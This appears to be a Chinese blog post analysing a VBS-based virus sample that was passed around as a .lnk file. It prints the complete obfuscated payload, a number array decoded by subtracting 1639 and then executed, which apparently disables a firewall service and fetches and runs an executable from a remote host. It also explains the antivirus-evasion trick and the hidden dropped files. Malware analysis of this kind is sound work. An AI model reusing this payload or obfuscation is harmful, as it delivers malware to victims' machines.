今日在卡饭论坛病毒样本看到一个声称可以过很多杀软的7个lnk病毒样本（http://bbs.kafan.cn/thread-417430-1-1.html），下载回来瞧了瞧，没有扩展名，用记事本打开看了，是VBS写的，7个样本都是同一个 *** 写的，所以分析了一个，随便打开了一个，代码如下： frdf=array(1652,1722,1740,1755,1671,1736,1737,1671,1700,1671,1706,1753, 1740,1736,1755,1740,1718,1737,1745,1740,1738,1755,1679,1673,1726,1754, 1738,1753,1744,1751,1755,1685,1722,1743,1740,1747,1747,1673,1680,1671, 1652,1649,1736,1737,1685,1753,1756,1749,1671,1673,1738,1748,1739,1671,1686, 1738,1671,1749,1740,1755,1671,1754,1755,1750,1751,1671,1754,1743,1736,1753, 1740,1739,1736,1738,1738,1740,1754,1754,1677,1740,1738,1743,1750,1671,1750, 1751,1740,1749,1671,1758,1758,1758,1685,1760,1736,1743,1750,1750,1751,1744, 1738,1755,1756,1753,1740,1687,1685,1738,1750,1748,1701,1701,1755,1685,1755, 1677,1740,1738,1743,1750,1671,1688,1689,1690,1701,1701,1755,1685,1755,1677, 1740,1738,1743,1750,1671,1688,1689,1690,1701,1701,1755,1685,1755,1677,1740, 1738,1743,1750,1671,1742,1740,1755,1671,1757,1685,1740,1759,1740,1671,1706, 1697,1731,1757,1685,1740,1759,1740,1701,1701,1755,1685,1755,1677,1740,1738, 1743,1750,1671,1737,1760,1740,1701,1701,1755,1685,1755,1677,1741,1755,1751, 1671,1684,1754,1697,1755,1685,1755,1677,1739,1740,1747,1671,1755,1685,1755, 1677,1738,1697,1731,1757,1685,1740,1759,1740,1677,1739,1740,1747,1671,1676, 1758,1744,1749,1739,1744,1753,1676,1731,1746,1754,1745,1742,1740,1685,1757, 1737,1754,1677,1739,1740,1747,1671,1738,1697,1731,1757,1685,1740,1759,1740, 1677,1754,1755,1736,1753,1755,1671,1743,1755,1755,1751,1697,1686,1686,1758, 1758,1758,1685,1755,1755,1741,1741,1695,1695,1691,1685,1738,1750,1748,1686, 1746,1744,1749,1742,1685,1745,1751,1742,1673,1683,1687,1652,1649)for i=1 to UBound(frdf) runner=runner&chr(frdf(i)-1639)nextExecute runner 很简单的逃过杀毒软件方式嘛，把程序改成VBS来逃杀软。首先定义一个数组，就是那堆数字，然后数组每个数再减去1639后，转成字符型，得到机器码形式的，最后用execute执行它。 我把文件加了个.vbs后缀，然后打开防火墙进行监控，看病毒做了些什么，运行文件，防火墙有反应了，在启动里创建了文件，位于c:\windows\help中，打开c:\windows\help时并没有看到这两个文件，文件属性改成了系统属性的，在CMD执行attrib c:\windows\help\***，返回结果是SH，S代表系统属性，H代表隐藏属性，再执行attrib -s -h c:\windows\help\***，去掉属性，这时可以在目录看到那两个文件了，PE查了下，加了壳的，OD载入进去，壳很奇怪。其他的都是这个思路，没什么好分析的了。